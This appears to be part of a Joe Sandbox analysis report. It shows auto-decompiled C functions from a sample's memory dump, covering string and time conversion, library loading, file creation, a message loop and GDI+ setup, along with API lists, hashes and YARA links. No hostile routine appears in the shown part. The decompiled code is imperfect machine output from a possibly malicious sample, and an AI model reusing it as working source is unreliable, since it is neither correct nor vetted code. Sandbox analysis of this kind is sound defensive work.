								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t105 = WideCharToMultiByte(_a32, 0, _t101, _t105, ??, ??, ??, ??);
								__eflags = _t105;
								if(_t105 != 0) {
									E0087F54C(_t101);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t91 = _t96 + 8;
							__eflags = _t96 - _t91;
							asm("sbb eax, eax");
							_t65 = _t59 & _t91;
							_t88 = _t96 + 8;
							__eflags = _t65 - 0x400;
							if(_t65 > 0x400) {
								__eflags = _t96 - _t88;
								asm("sbb eax, eax");
								_t101 = E0087DA90(_t88, _t65 & _t88);
								_pop(_t88);
								__eflags = _t101;
								if(_t101 == 0) {
									goto L35;
								}
								 *_t101 = 0xdddd;
								L28:
								_t101 =  &(_t101[4]);
								goto L30;
							}
							__eflags = _t96 - _t88;
							asm("sbb eax, eax");
							E008869A0(_t65 & _t88);
							_t101 = _t107;
							__eflags = _t101;
							if(_t101 == 0) {
								goto L35;
							}
							 *_t101 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t125 = _t105 - _t70;
						if(_t105 > _t70) {
							goto L36;
						}
						_t105 = E0087F8EC(_t82, 0, _t100, _t125, _a8, _a12, _t82, _t100, _a24, _t70, 0, 0, 0);
						if(_t105 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t96 + 0x00000008;
					_t86 = _t96 + 8;
					if((_t54 & _t96 + 0x00000008) > 0x400) {
						__eflags = _t96 - _t86;
						asm("sbb eax, eax");
						_t82 = E0087DA90(_t86, _t72 & _t86);
						_pop(_t86);
						__eflags = _t82;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t82 = 0xdddd;
						L12:
						_t82 =  &(_t82[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E008869A0(_t72 & _t86);
					_t82 = _t107;
					if(_t82 == 0) {
						goto L36;
					}
					 *_t82 = 0xcccc;
					goto L12;
				}
			}

0x0087f2e9
0x0087f2ea
0x0087f2eb
0x0087f2f2
0x0087f2f7
0x0087f2fd
0x0087f303
0x0087f309
0x0087f30c
0x0087f30c
0x0087f30f
0x0087f311
0x0087f311
0x0087f30f
0x0087f313
0x0087f318
0x0087f31f
0x0087f322
0x0087f322
0x0087f33e
0x0087f344
0x0087f349
0x0087f4dc
0x0087f4df
0x0087f4e0
0x0087f4e1
0x0087f4ef
0x0087f34f
0x0087f34f
0x0087f352
0x0087f357
0x0087f35b
0x0087f3af
0x0087f3af
0x0087f3b1
0x0087f3b3
0x0087f4d1
0x0087f4d1
0x0087f4d3
0x0087f4d4
0x0087f4da
0x00000000
0x0087f4da
0x0087f3c4
0x0087f3ca
0x0087f3cc
0x00000000
0x00000000
0x0087f3d2
0x0087f3e4
0x0087f3e9
0x0087f3ed
0x00000000
0x00000000
0x0087f3fa
0x0087f434
0x0087f437
0x0087f43a
0x0087f43c
0x0087f43e
0x0087f440
0x0087f48c
0x0087f48c
0x0087f48e
0x0087f48e
0x0087f490
0x0087f4ca
0x0087f4cb
0x00000000
0x0087f4d0
0x0087f4a4
0x0087f4a9
0x0087f4ab
0x00000000
0x00000000
0x0087f4af
0x0087f4b0
0x0087f4b1
0x0087f4b4
0x0087f4f0
0x0087f4f3
0x0087f4b6
0x0087f4b6
0x0087f4b7
0x0087f4b7
0x0087f4c4
0x0087f4c6
0x0087f4c8
0x0087f4f9
0x00000000
0x00000000
0x00000000
0x00000000
0x0087f4c8
0x0087f442
0x0087f445
0x0087f447
0x0087f449
0x0087f44b
0x0087f44e
0x0087f453
0x0087f46e
0x0087f470
0x0087f47a
0x0087f47c
0x0087f47d
0x0087f47f
0x00000000
0x00000000
0x0087f481
0x0087f487
0x0087f487
0x00000000
0x0087f487
0x0087f455
0x0087f457
0x0087f45b
0x0087f460
0x0087f462
0x0087f464
0x00000000
0x00000000
0x0087f466
0x00000000
0x0087f466
0x0087f3fc
0x0087f401
0x00000000
0x00000000
0x0087f407
0x0087f409
0x00000000
0x00000000
0x0087f425
0x0087f429
0x00000000
0x00000000
0x00000000
0x0087f42f
0x0087f362
0x0087f364
0x0087f366
0x0087f36e
0x0087f38d
0x0087f38f
0x0087f399
0x0087f39b
0x0087f39c
0x0087f39e
0x00000000
0x00000000
0x0087f3a4
0x0087f3aa
0x0087f3aa
0x00000000
0x0087f3aa
0x0087f372
0x0087f376
0x0087f37b
0x0087f37f
0x00000000
0x00000000
0x0087f385
0x00000000
0x0087f385

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,0087A093,0087A093,?,?,?,0087F535,00000001,00000001,6AE85006), ref: 0087F33E
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0087F535,00000001,00000001,6AE85006,?,?,?), ref: 0087F3C4
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,6AE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0087F4BE
__freea.LIBCMT ref: 0087F4CB

Part of subcall function 0087DA90: RtlAllocateHeap.NTDLL(00000000,?,?,?,00878B1E,?,0000015D,?,?,?,?,00879FFA,000000FF,00000000,?,?), ref: 0087DAC2

__freea.LIBCMT ref: 0087F4D4
__freea.LIBCMT ref: 0087F4F9

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: e98cb79607ea0e26c8f7343712b2aa7b34440d68874088f2fa71bd69a7015298
Instruction ID: 7748453b9bf849e628e7299ad2874f725b8fa1471fb057aeea85fe8a48e369fc
Opcode Fuzzy Hash: e98cb79607ea0e26c8f7343712b2aa7b34440d68874088f2fa71bd69a7015298
Instruction Fuzzy Hash: AA510272600216ABEB258F66CC41EBB77A9FB80714F148679FE0CD614AEB34DC40D6A5

Uniqueness

Uniqueness Score: -1.00%

Function 008671E8 Relevance: 9.1, APIs: 6, Instructions: 98
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E008671E8(signed int* __ecx, void* __edx, intOrPtr* _a4) {
				char _v16;
				struct _SYSTEMTIME _v32;
				struct _SYSTEMTIME _v48;
				struct _FILETIME _v64;
				struct _FILETIME _v72;
				intOrPtr _v76;
				struct _FILETIME _v84;
				signed int _t56;
				signed int _t70;
				signed int _t72;
				signed int _t77;
				signed int _t85;
				intOrPtr* _t89;
				signed int _t90;
				signed int _t92;
				signed int* _t93;

				_t89 = _a4;
				_t93 = __ecx;
				_v48.wYear =  *_t89;
				_v48.wMonth =  *((intOrPtr*)(_t89 + 4));
				_v48.wDay =  *((intOrPtr*)(_t89 + 8));
				_v48.wHour =  *((intOrPtr*)(_t89 + 0xc));
				_v48.wMinute =  *((intOrPtr*)(_t89 + 0x10));
				_v48.wSecond =  *((intOrPtr*)(_t89 + 0x14));
				_v48.wMilliseconds = 0;
				_v48.wDayOfWeek.wYear = 0;
				if(SystemTimeToFileTime( &_v48,  &_v64) == 0) {
					_t90 = 0;
					_t77 = 0;
				} else {
					if(E00862C72() >= 0x600) {
						FileTimeToSystemTime( &_v64,  &_v32);
						__imp__TzSpecificLocalTimeToSystemTime(0,  &_v32,  &_v16); // executed
						SystemTimeToFileTime( &(_v32.wDayOfWeek),  &_v84);
						SystemTimeToFileTime( &(_v48.wDayOfWeek),  &(_v72.dwHighDateTime));
						_t70 = _v84.dwHighDateTime + _v72.dwLowDateTime;
						asm("sbb eax, [esp+0x24]");
						asm("sbb eax, esi");
						asm("adc eax, esi");
						_t85 = 0 - _v72.dwHighDateTime.dwLowDateTime + _v84.dwLowDateTime + _v76;
						asm("adc eax, esi");
					} else {
						LocalFileTimeToFileTime( &_v64,  &_v72);
						_t70 = _v72.dwHighDateTime.dwLowDateTime;
						_t85 = _v72.dwLowDateTime;
					}
					_t92 = 0x64;
					_t72 = _t85;
					_t77 = _t70 * _t92 + (_t72 * _t92 >> 0x20);
					_t90 = _t72 * _t92;
				}
				 *_t93 = _t90;
				_a4 = _t77;
				_t56 =  *((intOrPtr*)(_t89 + 0x18)) + _t90;
				asm("adc ecx, ebx");
				 *_t93 = _t56;
				_a4 = 0;
				return _t56;
			}

0x008671ef
0x008671f3
0x008671f8
0x00867201
0x0086720a
0x00867213
0x0086721c
0x00867225
0x0086722c
0x00867231
0x00867248
0x008672ea
0x008672ec
0x0086724e
0x00867258
0x0086727e
0x00867291
0x008672a1
0x008672b1
0x008672bd
0x008672c3
0x008672cb
0x008672d1
0x008672d3
0x008672d7
0x0086725a
0x00867264
0x0086726a
0x0086726e
0x0086726e
0x008672db
0x008672e0
0x008672e4
0x008672e6
0x008672e6
0x008672ee
0x008672f3
0x008672f9
0x008672fc
0x008672fe
0x00867302
0x0086730a

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00867240

Part of subcall function 00862C72: GetVersionExW.KERNEL32(?), ref: 00862C97

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00867264
FileTimeToSystemTime.KERNEL32(?,?), ref: 0086727E
TzSpecificLocalTimeToSystemTime.KERNELBASE(00000000,?,?), ref: 00867291
SystemTimeToFileTime.KERNEL32(?,?), ref: 008672A1
SystemTimeToFileTime.KERNEL32(?,?), ref: 008672B1

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 608fa868e7b625fd5963d52de197f90f28b15bc00d453b511e52c51bffcc71b6
Instruction ID: a51ca7ace0c137f6ccbaae3660b30c7fcef52eabcc16f3b91936c90ed39733a6
Opcode Fuzzy Hash: 608fa868e7b625fd5963d52de197f90f28b15bc00d453b511e52c51bffcc71b6
Instruction Fuzzy Hash: B031D675108345AFC704DFA8D99499BB7E8FF88714F444A1EF999C3210E730D549CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 008784F7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E008784F7(void* __ecx, signed int* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				signed int _t11;
				WCHAR* _t12;
				struct HINSTANCE__* _t13;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t18;
				signed int* _t22;
				signed int* _t26;
				struct HINSTANCE__* _t29;
				WCHAR* _t31;
				void* _t32;

				_t26 = _a4;
				while(_t26 != _a8) {
					_t11 =  *_t26;
					_t22 = 0x8c8720 + _t11 * 4;
					_t29 =  *_t22;
					if(_t29 == 0) {
						_t12 =  *(0x88af74 + _t11 * 4);
						_v8 = _t12;
						_t13 = LoadLibraryExW(_t12, 0, 0x800); // executed
						_t29 = _t13;
						if(_t29 != 0) {
							L13:
							 *_t22 = _t29;
							if( *_t22 != 0) {
								FreeLibrary(_t29);
							}
							L15:
							_t16 = _t29;
							L12:
							return _t16;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L8:
							 *_t22 = _t18 | 0xffffffff;
							L9:
							_t26 =  &(_t26[1]);
							continue;
						}
						_t31 = _v8;
						_t18 = E0087A913(_t31, L"api-ms-", 7);
						_t32 = _t32 + 0xc;
						if(_t18 == 0) {
							goto L8;
						}
						_t18 = LoadLibraryExW(_t31, 0, 0);
						_t29 = _t18;
						if(_t29 != 0) {
							goto L13;
						}
						goto L8;
					}
					if(_t29 != 0xffffffff) {
						goto L15;
					}
					goto L9;
				}
				_t16 = 0;
				goto L12;
			}

0x008784fe
0x00878573
0x00878503
0x00878505
0x0087850c
0x00878511
0x0087851a
0x00878529
0x0087852c
0x00878532
0x00878536
0x0087857f
0x00878581
0x00878585
0x00878588
0x00878588
0x0087858e
0x0087858e
0x0087857a
0x0087857e
0x0087857e
0x00878538
0x00878541
0x0087856b
0x0087856e
0x00878570
0x00878570
0x00000000
0x00878570
0x00878543
0x0087854e
0x00878553
0x00878558
0x00000000
0x00000000
0x0087855f
0x00878565
0x00878569
0x00000000
0x00000000
0x00000000
0x00878569
0x00878516
0x00000000
0x00000000
0x00000000
0x00878518
0x00878578
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,008785BA,?,?,008C86C8,00000000,?,008786E5,00000004,InitializeCriticalSectionEx,0088B054,InitializeCriticalSectionEx,00000000), ref: 00878588

Strings

api-ms-, xrefs: 00878548

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: ab138c97083be8bf651380a12db2340c292add8dc38d97b14147d3944f4f6f9e
Instruction ID: 689d33e82d490d9e738c683b2c24d17955501ea01566041c5cc8f55eeb975993
Opcode Fuzzy Hash: ab138c97083be8bf651380a12db2340c292add8dc38d97b14147d3944f4f6f9e
Instruction Fuzzy Hash: 5911A331EC0625EBDB229B689C48B5933A4FF11760F258211E919E72C4DF70ED0087D6

Uniqueness

Uniqueness Score: -1.00%

Function 0086FDCB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0086FDCB(long _a4) {
				short _v164;
				long _t5;
				long _t6;
				WCHAR* _t9;
				long _t11;

				_t11 = _a4;
				_t5 = GetClassNameW(_t11,  &_v164, 0x50);
				if(_t5 != 0) {
					_t9 = L"EDIT";
					_t5 = E00867D24( &_v164, _t9);
					if(_t5 != 0) {
						_t5 = FindWindowExW(_t11, 0, _t9, 0); // executed
						_t11 = _t5;
					}
				}
				if(_t11 != 0) {
					_t6 = SHAutoComplete(_t11, 0x10); // executed
					return _t6;
				}
				return _t5;
			}

0x0086fddb
0x0086fde2
0x0086fdea
0x0086fded
0x0086fdfa
0x0086fe01
0x0086fe09
0x0086fe0f
0x0086fe0f
0x0086fe11
0x0086fe14
0x0086fe19
0x00000000
0x0086fe19
0x0086fe21

APIs

GetClassNameW.USER32(?,?,00000050), ref: 0086FDE2
SHAutoComplete.SHLWAPI(?,00000010), ref: 0086FE19

Part of subcall function 00867D24: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00862FEC,?,?,?,00862F99,?,-00000002,?,00000000,?), ref: 00867D3A

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 0086FE09

Strings

EDIT, xrefs: 0086FDED, 0086FDF8, 0086FE05
pldv, xrefs: 0086FE19

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT$pldv
API String ID: 4243998846-1058243852
Opcode ID: 5001eb45acc2b376df41507f0f9e93448fd5ac72aaf283c281caa00c9178c514
Instruction ID: 944648532a5f5053386864a715c40f8ef4a6ba96ba3d8c70013fb5cb781e284d
Opcode Fuzzy Hash: 5001eb45acc2b376df41507f0f9e93448fd5ac72aaf283c281caa00c9178c514
Instruction Fuzzy Hash: E9F0823260062866DB209665AC09FDB76BCFF46B00F4900A5FB44F6192D778D90286F5

Uniqueness

Uniqueness Score: -1.00%

Function 00861E20 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00861E20(void* __ecx, void* __esi, signed int _a4, short _a8, WCHAR* _a4180, unsigned int _a4184) {
				struct _FILETIME _v0;
				char _t38;
				void* _t40;
				long _t52;
				unsigned int _t53;
				long _t56;
				signed int _t57;
				void* _t61;
				void* _t62;
				long _t68;
				void* _t70;

				_t62 = __esi;
				E00873AC0(0x1050);
				_t53 = _a4184;
				_t61 = __ecx;
				 *(__ecx + 0x1034) =  *(__ecx + 0x1034) & 0x00000000;
				if( *((char*)(__ecx + 0x30)) != 0 || (_t53 & 0x00000004) != 0) {
					_t38 = 1;
				} else {
					_t38 = 0;
				}
				_push(_t62);
				_t68 = ( !(_t53 >> 1) & 0x00000001) + 1 << 0x1e;
				if((_t53 & 0x00000001) != 0) {
					_t68 = _t68 | 0x40000000;
				}
				_t56 =  !(_t53 >> 3) & 0x00000001;
				if(_t38 != 0) {
					_t56 = _t56 | 0x00000002;
				}
				E00861AC3( &_a8);
				if( *((char*)(_t61 + 0x24)) != 0) {
					_t68 = _t68 | 0x00000100;
				}
				_t40 = CreateFileW(_a4180, _t68, _t56, 0, 3, 0x8000000, 0); // executed
				_t70 = _t40;
				if(_t70 != 0xffffffff) {
					goto L15;
				} else {
					_v0.dwLowDateTime = GetLastError();
					if(E00863553(_a4180,  &_a8, 0x800) == 0) {
						L16:
						if(_v0.dwLowDateTime == 2) {
							 *((intOrPtr*)(_t61 + 0x1034)) = 1;
						}
						L18:
						if( *((char*)(_t61 + 0x24)) != 0 && _t70 != 0xffffffff) {
							_v0.dwLowDateTime = _v0.dwLowDateTime | 0xffffffff;
							_a4 = _a4 | 0xffffffff;
							SetFileTime(_t70, 0,  &_v0, 0);
						}
						 *((char*)(_t61 + 0x1c)) = 0;
						 *((intOrPtr*)(_t61 + 0x10)) = 0;
						_t30 = _t70 != 0xffffffff;
						_t57 = _t56 & 0xffffff00 | _t30;
						 *((char*)(_t61 + 0x15)) = 0;
						if(_t30 != 0) {
							 *(_t61 + 8) = _t70;
							E008668CD(_t61 + 0x32, _a4180, 0x800);
							 *((char*)(_t61 + 0x25)) = 0;
						}
						return _t57;
					}
					_t70 = CreateFileW( &_a8, _t68, _t56, 0, 3, 0x8000000, 0);
					_t52 = GetLastError();
					if(_t52 == 2) {
						_v0.dwLowDateTime = _t52;
					}
					L15:
					if(_t70 != 0xffffffff) {
						goto L18;
					}
					goto L16;
				}
			}

0x00861e20
0x00861e25
0x00861e2b
0x00861e34
0x00861e36
0x00861e41
0x00861e4c
0x00861e48
0x00861e48
0x00861e48
0x00861e4e
0x00861e59
0x00861e5f
0x00861e61
0x00861e61
0x00861e6c
0x00861e71
0x00861e73
0x00861e73
0x00861e7a
0x00861e83
0x00861e85
0x00861e85
0x00861e9f
0x00861ea5
0x00861eaa
0x00000000
0x00861eac
0x00861eb2
0x00861ece
0x00861f08
0x00861f0d
0x00861f0f
0x00861f0f
0x00861f19
0x00861f1e
0x00861f25
0x00861f2e
0x00861f39
0x00861f39
0x00861f44
0x00861f47
0x00861f4a
0x00861f4a
0x00861f4d
0x00861f50
0x00861f61
0x00861f65
0x00861f6a
0x00861f6a
0x00861f79
0x00861f79
0x00861ee8
0x00861eea
0x00861ef3
0x00861ef5
0x00861ef5
0x00861f03
0x00861f06
0x00000000
0x00000000
0x00000000
0x00861f06

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000), ref: 00861E9F
GetLastError.KERNEL32 ref: 00861EAC
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800), ref: 00861EE2
GetLastError.KERNEL32 ref: 00861EEA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000), ref: 00861F39

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 535f8f7d8c18fdf5bb00ee383b887ae5ecfdfb09d8a066ece2b89f2566476426
Instruction ID: 9d55bc230d0573df5064bc0cbb2be3843d941dc007d41220298f94ffcbe1396d
Opcode Fuzzy Hash: 535f8f7d8c18fdf5bb00ee383b887ae5ecfdfb09d8a066ece2b89f2566476426
Instruction Fuzzy Hash: D0313930944741AFEB30DF24CC49BD6BB94FB00320F290719F9A1C61C2CBB5A858CB95

Uniqueness

Uniqueness Score: -1.00%

Function 008705A8 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E008705A8() {
				struct tagMSG _v32;
				int _t7;
				struct HWND__* _t10;
				long _t14;

				_t7 = PeekMessageW( &_v32, 0, 0, 0, 0); // executed
				if(_t7 != 0) {
					GetMessageW( &_v32, 0, 0, 0);
					_t10 =  *0x8aea28; // 0xa016e
					if(_t10 == 0) {
						L3:
						TranslateMessage( &_v32);
						_t14 = DispatchMessageW( &_v32); // executed
						return _t14;
					}
					_t7 = IsDialogMessageW(_t10,  &_v32);
					if(_t7 == 0) {
						goto L3;
					}
				}
				return _t7;
			}

0x008705b9
0x008705c1
0x008705ca
0x008705d0
0x008705d7
0x008705e8
0x008705ec
0x008705f6
0x00000000
0x008705f6
0x008705de
0x008705e6
0x00000000
0x00000000
0x008705e6
0x008705fe

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 008705B9
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 008705CA
IsDialogMessageW.USER32(000A016E,?), ref: 008705DE
TranslateMessage.USER32(?), ref: 008705EC
DispatchMessageW.USER32(?), ref: 008705F6

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: dedfe181f9c7226fa62d093a2f8ca7f9a1a695ad30a009a53e0374e9992b36aa
Instruction ID: 5ba2dae9ca22e31fed81f1a75dbdf7b13720563a311b0e168d63e15c435f4b13
Opcode Fuzzy Hash: dedfe181f9c7226fa62d093a2f8ca7f9a1a695ad30a009a53e0374e9992b36aa
Instruction Fuzzy Hash: 41F0B771A0152AEB9F20ABA2AC4CEEB7FBCFE453907004555F959E2114E638E505CFB0

Uniqueness

Uniqueness Score: -1.00%

Function 0086FE36 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0086FE36(intOrPtr* __ecx) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _t10;

				_t10 = E00866B47(L"riched20.dll"); // executed
				 *__ecx = _t10;
				 *0x8c9148(0); // executed
				_v16 = 8;
				_v12 = 0x7ff;
				 *0x8c9018( &_v16);
				_v32 = 1;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				L00873A87(); // executed
				 *0x8c9064(0x8aea00,  &_v8,  &_v32, 0); // executed
				return __ecx;
			}

0x0086fe45
0x0086fe4c
0x0086fe4f
0x0086fe58
0x0086fe60
0x0086fe67
0x0086fe71
0x0086fe7c
0x0086fe80
0x0086fe83
0x0086fe86
0x0086fe90
0x0086fe9b

APIs

Part of subcall function 00866B47: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00866B62
Part of subcall function 00866B47: LoadLibraryW.KERNELBASE(?,?,0086583E,Crypt32.dll,00000000,008658C2,?,?,008658A4,?,?,?,?), ref: 00866B84

OleInitialize.OLE32(00000000), ref: 0086FE4F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0086FE86
SHGetMalloc.SHELL32(008AEA00), ref: 0086FE90

Strings

riched20.dll, xrefs: 0086FE3E

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
